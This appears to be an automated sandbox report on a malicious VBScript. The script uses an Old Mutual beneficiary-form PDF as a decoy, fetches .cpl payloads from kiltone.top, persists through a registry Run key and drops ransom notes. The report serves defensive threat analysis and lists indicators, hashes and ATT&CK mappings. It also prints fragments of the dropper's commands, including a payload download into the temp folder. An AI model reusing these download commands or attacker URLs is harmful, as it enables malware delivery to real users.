Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	11 Process Injection	1 Obfuscated Files or Information	LSASS Memory	33 System Information Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	1 Direct Volume Access	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	61 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	61 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\eryy65ty.exe	87%	ReversingLabs	Win32.Trojan.Nekark
C:\Users\user\AppData\Local\Temp\fjeljies.cpl	50%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
d12y248af9ueom.cloudfront.net	18.161.69.16	true	false	unknown
www.google.com	172.217.19.228	true	false	high
kiltone.top	45.125.67.168	true	false	high
www.oldmutual.co.za	unknown	unknown	false	high

Name	Malicious	Reputation
https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	true	unknown
https://www.oldmutual.co.za/favicon.ico	false	unknown
https://kiltone.top/stelin/Gosjeufon.cpl	true	unknown
https://kiltone.top/stelin/rwcla.cpl	true	unknown
file:///C:/Users/user/Downloads/downloaded.pdf	false	high

Name	Source	Malicious	Reputation
https://www.avito.ru/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://kiltone.top/ste	wscript.exe, 00000002.00000003.1408309940.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410315754.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://digify.com/a/#/access/login	rundll32.exe, 00000017.00000002.1936554638.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.dr	false	high
https://www.ctrip.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.leboncoin.fr/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp	cmd.exe, 0000001D.00000002.1562114601.00000000036B0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://account.bellmedia.c	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://weibo.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://login.microsoftonline.com	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443	wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS_1.vbs	true	unknown
https://www.ifeng.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.zhihu.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
http://x1.c.lencr.org/0	cert9.db.34.dr	false	high
http://x1.i.lencr.org/0	cert9.db.34.dr	false	high
https://www.msn.com	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.oldmutual.co.za/v3/assets/blt0	wscript.exe, wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://www.reddit.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.amazon.ca/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	places.sqlite.34.dr	false	high
https://www.ebay.co.uk/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://github.com/mozilla/webcompat-reporter	extensions.json.34.dr	false	high
https://www.amazon.co.uk/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.ebay.de/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://screenshots.firefox.com/	extensions.json.34.dr	false	high
https://www.amazon.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.google.com/search?client=firefox-b-d&q=	2824c836-2afd-4a95-940b-ed2b991ba55d.34.dr, ff032c8b-05e6-43c9-9e84-732dbe7aca27.34.dr, 3be89113-af2b-4b48-9c47-40ac1156f7a2.34.dr	false	high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000011.00000003.1352579233.000001428BDD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.17.dr, qmgr.db.17.dr	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	cert9.db.34.dr	false	high
http://crl.ver)	svchost.exe, 00000011.00000002.2579105714.000001428C000000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	cert9.db.34.dr	false	high
https://www.wykop.pl/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://twitter.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://digify.com/a/#/access/logincmd	fjeljies.cpl.16.dr	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	places.sqlite.34.dr	false	high
https://www.olx.pl/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.youtube.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://allegro.pl/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://support.mozilla.org/products/firefox	favicons.sqlite.34.dr	false	high
https://MD8.mozilla.org/1/m	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.bbc.co.uk/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.17.dr	false	high
https://bugzilla.mo	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://kiltone.top/stelin/rwcla.	wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://www.amazon.fr/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	cert9.db.34.dr	false	high
https://www.google.com/complete/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	prefs.js.34.dr	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	prefs.js.34.dr	false	high
https://support.mozilla.org	places.sqlite.34.dr	false	high
https://www.google.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.iqiyi.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.amazon.de/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high
https://www.baidu.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
45.125.67.168	kiltone.top	Hong Kong	133398	TELE-ASTeleAsiaLimitedHK	false
18.161.69.16	d12y248af9ueom.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579449
Start date and time:	2024-12-22 12:14:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	71
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NOTIFICATION_OF_DEPENDANTS_1.vbs
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winVBS@98/844@5/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs

Time	Type	Description
06:15:14	API Interceptor	114x Sleep call for process: powershell.exe modified
06:15:19	API Interceptor	2x Sleep call for process: svchost.exe modified
07:43:31	API Interceptor	1x Sleep call for process: rundll32.exe modified
07:43:37	API Interceptor	6x Sleep call for process: WMIC.exe modified
13:43:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe
13:43:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe
13:44:01	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt

Input	Output
URL: https://oldmutual.co.za Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://oldmutual.co.za
URL: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "NOMINATING BENEFICIARIES FOR YOUR DEATH BENEFITS", "prominent_button_name": "unknown", "text_input_field_labels": [ "Employer/Company name", "Scheme code", "Member's reference number", "First name(s)", "Surname", "ID number/Passport number", "Telephone (Home)", "Cellphone number", "Email address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "NOTIFICATION OF DEPENDANTS AND BENEFICIARIES FORM", "prominent_button_name": "unknown", "text_input_field_labels": [ "Employer/Company name", "Scheme code", "Member's reference number", "First name(s)", "Surname", "ID number/Passport number", "Telephone (Home)", "Cellphone number", "Email address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf Model: Joe Sandbox AI	{ "brands": [ "Old Mutual" ] }
	{ "brands": [ "Old Mutual" ] }
URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: Joe Sandbox AI	{ "brands": [ "Old Mutual" ] }
	{ "brands": [ "Old Mutual" ] }
URL: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf Model: Joe Sandbox AI	```json{ "legit_domain": "oldmutual.co.za", "classification": "known", "reasons": [ "The URL 'www.oldmutual.co.za' matches the legitimate domain name for Old Mutual, a well-known financial services company in South Africa.", "The brand 'Old Mutual' is classified as 'known' due to its established presence in the financial sector.", "There are no suspicious elements in the URL such as misspellings, extra characters, or unusual domain extensions.", "The input fields are typical for a financial services website, which often requires personal and contact information." ], "riskscore": 1}
URL: www.oldmutual.co.za Brands: Old Mutual Input Fields: Employer/Company name, Scheme code, Member's reference number, First name(s), Surname, ID number/Passport number, Telephone (Home), Cellphone number, Email address

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
18.161.69.16	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse
239.255.255.250	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	7394231845.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	https://gogvo.com/redir.php?url=https://atratejarat.com/wp-content/red/DhmgvV	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse
45.125.67.168	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse
	TD2HjoogPx.dll	Get hash	malicious	Unknown	Browse
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIT-GATEWAYSUS	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.58.126.71
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.125.212.58
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.25.146.210
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.13.111.78
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.43.36.150
	nshkppc.elf	Get hash	malicious	Mirai	Browse	18.114.62.61
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	18.40.47.184
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	19.244.163.57
	nshppc.elf	Get hash	malicious	Mirai	Browse	18.19.210.91
	star.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	19.133.220.71
TELE-ASTeleAsiaLimitedHK	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	45.125.67.168
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	45.125.67.168
	TD2HjoogPx.dll	Get hash	malicious	Unknown	Browse	45.125.67.168
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	45.125.67.168
	R7bv9d6gTH.dll	Get hash	malicious	Unknown	Browse	103.253.43.248
	http://9089357365.com/	Get hash	malicious	Phisher	Browse	45.125.65.213
	UBONg7lmVR.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	UBONg7lmVR.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	HLMJbase.dll	Get hash	malicious	Unknown	Browse	45.125.67.168
	HLMJbase.dll	Get hash	malicious	Unknown	Browse	45.125.67.168
	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	45.125.67.168
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	45.125.67.168
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	45.125.67.168
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	45.125.67.168
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	45.125.67.168

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NOTIFICATION_OF_DEPENDANTS_1.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Operating System Destruction

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\AccountPictures\Decryptfiles.txt

C:\Users\Public\Decryptfiles.txt

C:\Users\Public\Documents\Decryptfiles.txt

C:\Users\Public\Downloads\Decryptfiles.txt

C:\Users\Public\Libraries\Decryptfiles.txt

C:\Users\Public\Libraries\RecordedTV.library-ms

C:\Users\Public\Libraries\RecordedTV.library-ms.BDVt (copy)

C:\Users\Public\Music\Decryptfiles.txt

C:\Users\Public\Pictures\Decryptfiles.txt

Windows Analysis Report
NOTIFICATION_OF_DEPENDANTS_1.vbs

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7294347315713366
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqN:2JIB/wUKUKQncEmYRTwh0TfLp+y
MD5:	B8190C4CF4422642A2EAF2A91F0B529A
SHA1:	022C55E7B0651701373E83A4623C795C9F6B6DD3
SHA-256:	06AE815CBF9710D57712A8DB9560CEA83EEC1EFAC4B8EDE80DB053ABA61A4582
SHA-512:	E1E952872ECE99B892F63A37752B2374EB08C593CA2E052D03357D009DB5D5EBF1FB1541327A071F237F58AF7BD30A086BD38F3216282D65B371D56FD1685E1F
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulGlh:NllUy
MD5:	429CFE531C9E3A99A0FFB8B880201F64
SHA1:	43B8B2B8A8E929FCFE3934A74E66DEFF8E6E41F9
SHA-256:	E5F3B809FF01ABCF00CFD568B86672F170214F0506DAADEB0C0B1A14442BEE3F
SHA-512:	29FDA1592C5DCF7E3C7D3ABC7EE869DF60C0936C9B8CE497BA220F06181AB5A2AD6F6FA58D48C4CCE1951FA3787F9BC56F1AF1AE716A79EDB649BE47B188CE94
Malicious:	true
Preview:	@...e.................................K..............@..........

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	true
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.6 (zip deflate encoded)
Category:	dropped
Size (bytes):	15329
Entropy (8bit):	7.967769261613116
Encrypted:	false
SSDEEP:	384:q+It8/yok0Rr3CVwILWL9M7R75ijMkMHwVeSCGSaM:MtzF0RrpMiQkF81
MD5:	68E824D20E8DE5DE2913D25119AC6A1C
SHA1:	A0AB8703D252CA3189CD74D6A39B942F5F9C8E1F
SHA-256:	FBC363E2F2ADE16F64B984412694BCB32819AE528C218042BDAF0C859D2BDE01
SHA-512:	05F9434886327F5F1B93AECE9A4C32B393B5B1908E0C34494279566EAC40D2E0C39F85CEC005C771441BBBB869B7AD5C3CF31E7A73342D64711D81389ED7DDD4
Malicious:	false
Preview:	%PDF-1.6.%......1196 0 obj.<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>stream..h..Z{o.9.......0b7.M`.@.....v.v.7...m.m7FRk[.L\|..~E.e..'.L...WU..X/.....[.Im2o\.Ek.Rb.`..........SRGf2/..gRZ...1.l.LZU.......I..F.S....T.;.L..3..u....v:....t<......v.F.dV.t......N..e3.%(+....A.TGX>+-...,%8t.....Hb\|iB `M\...e.......e....=K..=.z.=C.MN....z%.$z..4..P.S..x..SP......i..06N.._...j.\^..&.....7..r.)t....u....@~Z..2....7..._.8Bw..}=.....l.}.9...8.._.=>....^w.YX?..f.^.._..0.1.........r.d.8....dE....U.`...].]/...2.x..B.....<...r.........u...i...wU.I.7....hok.)......:.7M....lA..M...e....u%a.9.y..-......b.-.Rs......}..?./s.J.e.p....<....s....X.L..R.].l........Y.....6c9..Xq[...#..."W..2.cF(...=@....&....E=_7..Q...qV.rq...p.h..B......^...e........P......[..gP.+_O>.zU..fU...n)...N...C.J.\|..W~j......#{y.. ..g".........nQ.....n.S"N.dR.......&.K......i.y.\n.u......9P0.....`.7.Yx.).3}.{p..z.(....:.........&...e.mpG...3......9.p...3....FA..{...f.0.....

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.305255793112395
Encrypted:	false
SSDEEP:	3:8yzGc7C1RREal:nzGtRV
MD5:	6ED2062D4FB53D847335AE403B23BE62
SHA1:	C3030ED2C3090594869691199F46BE7A9A12E035
SHA-256:	43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
SHA-512:	C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
Malicious:	true
Preview:	ERROR:...Description = Initialization failure...

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	283
Entropy (8bit):	4.84674468132717
Encrypted:	false
SSDEEP:	6:PzXULmWxHLTpUrUPZ7wUsW3CNcwAFeMmvVOIHJFxMVlmJHaVFiSbietG:P+pTpcUP9nsTDAFSkIrxMVlmJHaVJ/o
MD5:	7DA6C89F3E3B1033285DEC8A71A04E4D
SHA1:	4542097F9D99DF36E4A34CA6254CE7C01F78B258
SHA-256:	F2FA022B21EFBAA5E055E1DA3442367D00FA2F79F6AC582F4AC70EB68C1BC80D
SHA-512:	00A21ADADEAE33819995DCB5E3D050C8F8ECFE96B29D6584DBAFC7BC46F4AD3E96B6FB3C2276A5AD26F1F4128B7A1353A1747E171860AAC76B4D7B465FD7669C
Malicious:	false
Preview:	..Pinging 1.1.1.1 with 32 bytes of data:..Reply from 1.1.1.1: bytes=32 time=137ms TTL=55....Ping statistics for 1.1.1.1:.. Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 137ms, Maximum = 137ms, Average = 137ms..

File type:	ASCII text
Entropy (8bit):	5.325250476330155
TrID:
File name:	NOTIFICATION_OF_DEPENDANTS_1.vbs
File size:	1'009 bytes
MD5:	9a10ccf62e25194ba112cd1058b43a52
SHA1:	56bcf9ea53ac136b025a337e0b74bd36ccd67db8
SHA256:	2d67d4e708c92155a2a9b90d728057e024b57a031ea7d21d34da65a5f4de3028
SHA512:	9276409623aa332e7a28da4cf41259f530744e1e45704d5c54834b86a2c601596926af45f24c85737a93ccab037beeb67a210203c58b8f98139b67b4dabac120
SSDEEP:	24:EDv3D5nX10YJnEL9IVjVKOpiFMpwkyVlK/u9ospkvyEFUC:8z5nl0YJEpIVBhpgM+S/r7v7
TLSH:	3D111023E2BC433E1BEE81B0D1B117F99A63E7060D54586B4A34FC4142842AA83F628D
File Content Preview:	' Define the command to execute .Dim command, command1, command3, tempFolder, exclusionCommand.command = "cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Bene

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 12:15:17.939754963 CET	123	123	192.168.2.7	40.81.94.65
Dec 22, 2024 12:15:19.285475016 CET	123	123	40.81.94.65	192.168.2.7
Dec 22, 2024 12:15:20.114268064 CET	52365	53	192.168.2.7	1.1.1.1
Dec 22, 2024 12:15:20.114598989 CET	61245	53	192.168.2.7	1.1.1.1
Dec 22, 2024 12:15:20.252113104 CET	53	52365	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:20.252870083 CET	53	61245	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:20.253051043 CET	53	56344	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:20.281060934 CET	53	60343	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:21.119914055 CET	57446	53	192.168.2.7	1.1.1.1
Dec 22, 2024 12:15:21.256639957 CET	53	57446	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:23.299411058 CET	53	55887	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:24.603751898 CET	59886	53	192.168.2.7	1.1.1.1
Dec 22, 2024 12:15:24.604059935 CET	60302	53	192.168.2.7	1.1.1.1
Dec 22, 2024 12:15:24.740770102 CET	53	60302	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:24.741002083 CET	53	59886	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:40.595520973 CET	53	55257	1.1.1.1	192.168.2.7
Dec 22, 2024 12:15:59.566278934 CET	53	63747	1.1.1.1	192.168.2.7
Dec 22, 2024 12:16:12.037806988 CET	138	138	192.168.2.7	192.168.2.255
Dec 22, 2024 12:16:19.951562881 CET	53	57160	1.1.1.1	192.168.2.7
Dec 22, 2024 12:16:23.062798977 CET	53	55929	1.1.1.1	192.168.2.7
Dec 22, 2024 12:16:53.154552937 CET	53	49509	1.1.1.1	192.168.2.7

Timestamp	Source IP	Dest IP	Checksum	Type
Dec 22, 2024 12:16:16.092493057 CET	192.168.2.7	1.1.1.1	4d5a	Echo
Dec 22, 2024 12:16:16.228768110 CET	1.1.1.1	192.168.2.7	555a	Echo Reply
Dec 22, 2024 12:16:31.148581028 CET	192.168.2.7	1.1.1.1	4d59	Echo
Dec 22, 2024 12:16:31.284692049 CET	1.1.1.1	192.168.2.7	5559	Echo Reply
Dec 22, 2024 12:16:36.354727030 CET	192.168.2.7	1.1.1.1	4d58	Echo
